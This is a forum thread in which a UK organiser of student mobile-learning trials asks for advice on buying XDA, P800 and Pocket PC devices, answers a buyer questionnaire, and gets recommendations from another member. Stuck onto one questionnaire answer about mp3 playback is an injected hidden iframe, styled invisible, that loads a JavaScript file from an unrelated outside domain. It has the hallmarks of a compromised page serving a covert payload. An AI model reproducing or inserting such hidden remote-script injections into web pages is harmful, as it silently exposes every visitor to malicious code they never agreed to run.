Hi

we are running a series of trials across the UK where we are buying PDAs and phones; paying for connection costs; then giving handsets to students to use for a few weeks. The trial rolls, so when one lot are finished, another lot get them.

we are pre-loading html, javascript, flash and j2me content onto the equipment

in earlier trials we bought iPAQs without connectivity

this next round of trials we are buying around 25 P800s and around 25 PocketPC-based PDAs, but I want some advice on which ones. Because we are looking at getting so many, I want to keep costs as low as possible.

ideally, the PDAs would have direct internet connectivity, but I understand that limits me to the XDA (2) or an external modem.
- Are there any integrated options? (HP 928? slow?)
- Could I use bluetooth and the P800s to connect?

we want fairly fast machines - ideally Pockpc2003 - though I realise that restricts my choice. The major reason for wanting 2003 is that I understand the browser has more features.

hope this helps - thaks in advance for the advice

mlrn03

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and my answers ...

1. What PDA and/or mobile phone do I use today?
- we have several IPAQs (37xx and 38xx), as well as one or two handsprings, Jornadas [not the 928]

2. Are locked into a mobile carrier (i.e. Verizon Wireless, Sprint PCS, etc.), or do you prefer a particular carrier? Do you know if one carrier has better coverage in places that you need to be?
- currently using vodafone (UK) and would prefer to stay with it, but not essential

3. Where are you based? Do you stay in one place or travel a lot? Do you travel internationally... how much and where? Do you intend to use your pdaPhone there?
- UK-based, though there may be further in Italy and Sweden

4. Do have a preference of Palm, Pocket PC, Symbian, etc.?
- Pocket PC (needs to run flash and JS within a browser)

5. Are you likely to run it the way it came out of the box, or do you intend to load a whole lot of extra applications and stuff on it? Do you know of anything now that you will need to run?
- we will load a series of html / JS / flash apps

6. How important is data, and what would you use data for (i.e. web, email, remote terminal, etc.)?
- connectivity is essential. (MMS, Web browsing)

7. Do you do SMS messaging a lot?
- we do (perhaps 40 per week?)

8. Do you need a GPS for mapping and navigation?
- no

9. What is your size preference.. very close to the smallest cellphone, or you don’t care.. function over size?
- function over size ... though street-cred is a significant element

10. How will you carry it... pocket, belt, purse, etc.?
- whatever

11. Do you prefer a particular form factor… flip-phone, candy bar, etc?
- needs big screen ... IPAQ-style

12. Do you prefer a QWERTY keyboard, or are you cool with a stylus?
- whatever

13. Do you want to play a lot of games? What kinds?
- no

14. Do you want to listen to music? What kind... mp3, streamed, etc.?
- yes. mp3<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

It seems that you may have some mis-information. The P800 is a pdaPhone, so it will directly connect to the internet wirelessly, just like the XDA.

It seems that you would want to stick with the Pocket PC platform since that is what you are most familiar with. The company that makes the XDA, is the same company that makes the iPAQs for HP (HTC), so they are of comparable quality. Given the price of an iPAQ plus a mobile phone, I'd think that the XDA would win out.

Since the XDA II has recently been made available, the XDA prices should be affordable. I know that T-Mobile in the US is making the Windows Mobile 2003 upgrade available on their version of the XDA for free. There is a 64MB version of the XDA which is what I'd recommend, but you could certainly get by with the 32MB version and save some money.

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Mike - Been Converged?

Thanks for the quick reply, Mikey

Yes, I do realise the P800s have connectivity - but they have a small screen and a lot less processing power, so most of our apps will actually running on the iPAQ/XDA.

We also have some MMS apps, though, and for that the P800 is great

Thanks for the advice about the XDAs ... I'll persue that one!

geoff

ps: for the record ... if we go with straight iPAQs (no modem) and bluetooth, could we connect it to the web via the P800s ?

Yes, in theory you should be able to connect to the web through any Bluetooth phone from a Bluetooth iPAQ. But, my understanding is that it is a bit tricky, although I haven't done it. I'm a single device guy for life now.... can't go back!

But, if you are going to go that route, why would you go to the expense of the P800? If you are going to still carry around an iPAQ, then I'd get the smallest Bluetooth phone I could find to use for connectivity. It would seem very confusing to me to deal with both Symbian QIC and Pocket PC or Windows Mobile. It would also be much more expensive than just getting an XDA and having it all in one. In fact, I would think you could get XDA IIs for the price of an IPAQ plus a P800.

Also be aware that the P900 is out... maybe this would get you some good deals on the P800.

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Mike - Been Converged?

thanks for the sane advice!

the P800s are being used due to outside pressures (and they are good fun ... I have one), but your advice has prompted me to re-assess our plans about them

thanks again, and keep cool

mlrn03